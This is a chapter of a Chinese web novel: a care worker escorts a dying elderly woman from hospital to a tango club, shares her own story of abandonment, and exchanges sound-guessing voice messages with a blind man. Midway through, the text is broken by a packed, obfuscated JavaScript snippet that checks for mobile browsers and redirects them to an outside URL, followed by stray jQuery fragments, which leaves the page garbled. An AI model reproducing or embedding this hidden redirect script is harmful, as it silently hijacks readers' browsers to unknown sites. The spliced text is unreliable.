然而赌约开始的第一天，虞谷秋就出师未捷。
她因为思考第一天该录下什么声音给汤骏年，在床上翻来覆去当了一晚上的烙饼，毕竟第二天轮休，她倒也不在意晚睡。
却没想到第二天一早，床边的电话就火急火燎响起来了。
一看到是院长打来的电话，这通常代表养老院有特殊情况，虞谷秋心头一惊，立刻清醒了。
“喂！”
“小谷啊，打扰你休息了吧？”
“没呢，我已经醒了。”
“那太好了，你现在去市三院一趟可以吗？林淑秀昨天说要办理出院回来，我们都说不动她，你去劝劝，实在不行就帮她办出院手续接她回来吧。”
“……好。”
虞谷秋匆匆套上衣服来到医院，先去找了主治医生了解情况。
“我们当然是希望她能留下来的。目前癌细胞已经扩散，但她身体的耐受性不太支持进一步手术或者化疗，所以我们建议住院进行保守治疗。但是她本人听说保守治疗后就坚持出院……我们也尊重她的选择。她之后可能会出现肠梗阻、出血等等急性情况，到时候还是要再送医，你们多多注意。”
虞谷秋步履沉重地来到走廊，看着病房门迟迟不敢进。
她来回踱步，在心里拼命打腹稿，总分总论述要如何劝服林淑秀——林淑秀的嘴皮实在厉害，她怕自己不一口气说完就说不完了。
进去时病房里医院护工已经给林淑秀换下病服，将她抱到了轮椅上。她对着进门的虞谷秋露出自傲的神色，炫耀说：“我这身衣服不错吧？前两天在直播间买的！”
隔壁床的阿姨解放地欢呼：“赶紧走！我总算可以清静了！”
“你就嘴硬吧，昨晚明明还想让我给你下单。”林淑秀白她一眼，又期待地转向虞谷秋，“食堂今晚有没有梅菜扣肉啊？”
虞谷秋叹了口气：“都说了不能吃那么油腻的……”
隔壁床的阿姨吞咽着口水又探出头：“梅菜扣肉？！我也好想吃啊！”
林淑秀大手一挥：“这还不简单，我叫个闪送给你匀一份过来，你瞒着你家孩子偷偷吃呗。”
“能行吗？被他们发现我可惨了，念叨一天不带停的。”
“你自己想吃就吃呗，管他们！”
虞谷秋听着两位女士兴致勃勃地商讨着，病中的气色都显得有神两分——谁能想到她们讨论的仅仅是一块梅菜扣肉呢。
阿姨纠结一番，最后摇头道：“还是算了吧，我女儿为嘴馋这个骂过我好多回了……谢谢你啊。”她冲林淑秀摆摆手，“还是羡慕你呢，没儿没女，想做什么做什么，特自由。”
林淑秀笑容淡了些，没再说话了。
*
办好出院手续，虞谷秋准备叫车回养老院时，林淑秀却拿过手机，擅自更改了目的地。
“先去这里。”她一锤定音。
“这里……？”
地址输入的和平路三号，虞谷秋一头雾水，听林淑秀说：“这是阿根廷探戈舞的俱乐部，周末有Milonga的舞会。”
“阿根廷探戈？”虞谷秋吃惊地问，“您还会这个？”
林淑秀大笑起来。
“我年轻的时候爱好跳这个，那时候都没什么俱乐部呢，我和妹妹都是拿一个收音机在露天的晚上瞎跳，有时候她跳女步，有时候我跳女步……现在的时代越来越好了，以后会更好吧。”
林淑秀看着车窗外流过的街景，每一天都会有细小的变化，这就是这个时代。
“不过我能看见的日子就到这里了。”
她情绪变化得非常快，前一秒还生龙活虎，这一秒却让人感觉到遗憾。以致于虞谷秋觉得说什么都很苍白。
林淑秀看了眼她的表情，又大笑起来。
“你现在这表情可太逗了，别安慰我，我不是怕死。”林淑秀降下一点车窗，舒服地眯起眼睛，“我腿出事的时候就很想去死了，但不敢死呀。现在老天爷帮我一把，我谢谢他还来不及。”
车子驶入和平路，很快停在了一栋三层小洋楼前。
虞谷秋在司机帮助下将林淑秀挪到了轮椅上，一路推着进了门，远远就听到了舞曲在流淌。
这还是她第一次来这种俱乐部，推开门的景象让她颇为震惊——飞扬，她的脑子里蹦出来这样两个字。
一间曾经是传统舞厅改建的屋子，空间并不大，但到场的人不少。男男女女，年轻年长者都有。有的穿了探戈的裙子和西装，有的就很随意，卫衣运动服就来了，这让穿着薄针织的虞谷秋觉得自己好像也可以完美融入这个气氛中。
最让她吃惊的是他们对于坐着轮椅的林淑秀并未多看一眼，一点不意外一个双腿都残疾的人来舞房有什么不对，他们都全然沉浸在音乐和舞蹈中，成双成对地旋转着。
虞谷秋将林淑秀推到角落，她也没有问她既然跳不了为什么要来，只是陪她安静地看着众人跳舞，却没想到林淑秀推了她一把，扬扬下巴说：“你不去试试吗？”
“我？”虞谷秋连连摆手，“我一点不会。”
“那个穿裙子和西装的就是教练，你去跟他们报名。”
“我是陪您来的，对这个没什么兴趣。”
她以为这话或许会惹林淑秀生气，她也许会嚷嚷着向她灌输探戈有多棒云云，但林淑秀却没勉强她：“那好吧，你就陪我在这儿无聊地多看一会儿吧。”
舞池里的人们旋转、靠近、贴合、远离，最后又再度拥抱。
一曲结束，虞谷秋下意识地抬手鼓掌。不远处的一个穿卫衣的男人看过来，他和她一样落单，在边上看着，这时干脆向她走过来发出邀请。
“要一起跳一首吗？”
虞谷秋尴尬道：“我不会。”
“你第一次来吗？”
“嗯。”
他很乐观地表示：“我是第二次来，也不太会。菜鸟互啄，那我们互相踩到对方也没关系了！”
“不用了……你还是找别人吧。”
虞谷秋表示歉意，他看向林淑秀，恍然道：“你是要陪妈妈吧？”
不等虞谷秋澄清，林淑秀先翻了个白眼给他。
“我还没结婚，你怎么还给我造谣个女儿出来。”
对方一愣，虞谷秋忍笑着附和。
“我们林淑秀女士六十一枝花呢，我妈妈可没她这么好看。”
“抱歉抱歉……”
他连连鞠躬，以一种太空步的姿势很好笑地挪走了。
虞谷秋正乐着，林淑秀侧过头看她一眼：“小谷啊，你妈妈真的没我好看吗？”
“真的。”
林淑秀咧开嘴，得意地点点头。
虞谷秋站得有点累了，从旁边拖了把凳子过来坐到林淑秀身边。
下一首舞曲开始了，那个落单的倒霉小子仍旧落了单。
虞谷秋的眼神追着人群旋转，慢慢地继续开口说：“她半边脸都有烫伤的疤。不过现在医美发达了，说不定她有做治疗。”
“说不定……？你爸妈离婚了？”
虞谷秋摇摇头。
“他们应该还在一起吧，生了一对双胞胎，一家四口。”她轻快地说，“只有我生下来不到一百天从他们身边被送走了。”
“这样啊。”
林淑秀并没有表现出任何多余的情绪，只是淡淡地点着头，说着这样啊。
这份平静让虞谷秋心安，她放下担心，跟着点点头，笑着说：“不过我挺幸运的，收养我的家庭，也就是我现在的妈妈爸爸，他们生育方面有点问题。后来他们说我是福星，因为不到一年居然奇迹地怀孕了。但是他们最后没有把我送走。”
林淑秀说：“那你很厉害了，有四个妈和爸。”
“是啊，有四个呢。”可没有一个人记得她的出生日期了，“只不过有时候，我觉得自己是一根饭店里被打翻的筷子。”
在饭店里吃饭时打翻的筷子，要么就那样掉在地上，要么被好心捡起之后搁置在一边，几乎不会有人将它再握进手心了。
灯光昏暗下来，舞曲到了慢拍，全场的人们头依偎着头，亲密地靠在一起。
林淑秀伸出衰老的手，摸索到虞谷秋细瘦却有力的手背上握了握——这是一双干了很多活却几乎没怎么好好休息过的手。
虞谷秋垂下头说：“谢谢您，还没跟您说过那碗长寿面很好吃。”
“那是我不要的，你谢我干什么。”
“哦，好吧。”
“食堂真的做得好吃吗？”
“很好吃。”
“比梅菜扣肉还好吃吗？”
“嗯。”
“早知道就不让给你了。”
灯光最昏暗的时候，有眼泪滴到两人交叠的手背上。
*<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515772|185335||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>把林淑秀送回养老院，再把病历和详细情况和养老院里的医生交接好已经是晚上。
虞谷秋本来以为可以直接打道回府，结果很尴尬的是刚好碰上晚班交接结束准备一起去吃饭的同事们，更尴尬的是他们很热心地叫上她一起。
叫她的正是那个和她交好的同事杨芩，挎着她的胳膊说着我们很久没一起吃饭了，走走走。
虞谷秋慢了半拍，错过了最合适开口拒绝的时机，半推半就地跟着去了附近的一家川菜馆。因多加了虞谷秋变成五人，特地找了间包房。
一坐下，杨芩非常活络地帮大家拆封餐具，再用热水烫好，然后再放到圆桌转盘上转到每个人跟前。
虞谷秋很羡慕杨芩这样的人，因为她有她不具备的本领。
她不会热情地把对方拉来自己的行程，也不会周到地照顾所有人。她只是一个喜欢也习惯独来独往，在聚会时默默坐下不惹眼的人。
她向杨芩道过谢，就开始沉默地听大家闲聊，然后等菜上来后吃菜。虽然并没有胃口，脑子里还在惦记着第一天的录音，但是刷手机就显得很没礼貌，所以只能往嘴巴里塞满菜让自己显得很忙。
“你别光吃这道啊！那道炒牛肉也很好吃的。”
杨芩注意到虞谷秋几乎只在夹自己面前的菜，伸手帮她转了转圆桌，将另一道炒牛肉转到她跟前。
“谢谢！没事，我自己会夹的。”
虞谷秋很顾虑主动转桌板，哪怕是别人帮她转，她习惯在别人转桌时再顺其自然地换另一道转到她面前的菜。
“你跟我客气什么！”
杨芩直接将菜夹过来，虞谷秋赶紧拿起小碟子去接，匆忙中她刚放下的筷子被打翻了一只摔在地上。
这一瞬间，虞谷秋的脑海中飘过一个想法，这或许是命运的指引。
杨芩扯着嗓子对服务员喊送双新筷子来！喊完一扭头，诡异地发现虞谷秋正点开手机的录音，然后伸手将另一只好端端的筷子跟着扔了下去。
聚餐到尾声，大家在餐厅门口道别时，虞谷秋的微信小号里弹出来一条消息，来自于列表里躺着的唯一的账号。
仍是那个灰扑扑的微信默认头像，没有任何朋友圈记录的汤骏年。他像是想故意让任何人都认为他不再使用似的。
他发来的是一条语音，虞谷秋沿路往回走，一边迫不及待塞上耳机，听到他的回答：“是筷子掉到地上的声音。”
虞谷秋设想过盲人的听力很好，但是环境音乱糟糟的，他怎么能如此笃定呢？
感到有丝挫败，她不甘心地诈他，也用语音反问。
“你确定是筷子吗？”
“确定。”
“要不然你再想想？”
“不用了，我对这个声音很熟悉。”
到此，虞谷秋便不再挣扎了。
她忍不住猜想，是不是刚失明那阵子他不熟悉碗筷位置，经常把它们弄掉。
“……好吧，你答对了。”
令她意外的是，汤骏年问她：“为什么会选择这个声音？”
他的语气听不出是对她出如此简单题目的挑衅，还是只是单纯好奇。
虞谷秋思索了一会儿，改用文字发送。
「我总是会注意到筷子掉到地上，所以作为开场白，我选择了我比较熟悉的声音给你。」
过了一会儿，汤骏年发来比她稍长两秒的录音。
“给你的考题。”他说。
虞谷秋点开手机，传来的声音很轻微，疑似翅膀在扑愣。
她不太自信地报出猜想。
“是小鸟在飞吗？”
“正相反。”汤骏年说，“是它刚好落在我的窗前。”
她怀疑：“……这你都区别得出来呀？”
“起和落的动势是不一样的，有细微的区别。”
“……好吧。” 她想了想，也问他，“那你为什么选择这个声音？”
汤骏年却没有回了。
又过了好一会儿，虞谷秋换乘地铁到了家，手机叮咚一声。
汤骏年也改发了一条文字消息过来。
「小鸟也落地了，但它会自己飞走，飞去哪里都可以。」
莫名其妙的，她却好像读懂了他的潜台词，或者说她从中这么擅自理解着——
不要去注意筷子，注意小鸟吧。
不要去做筷子，做小鸟吧。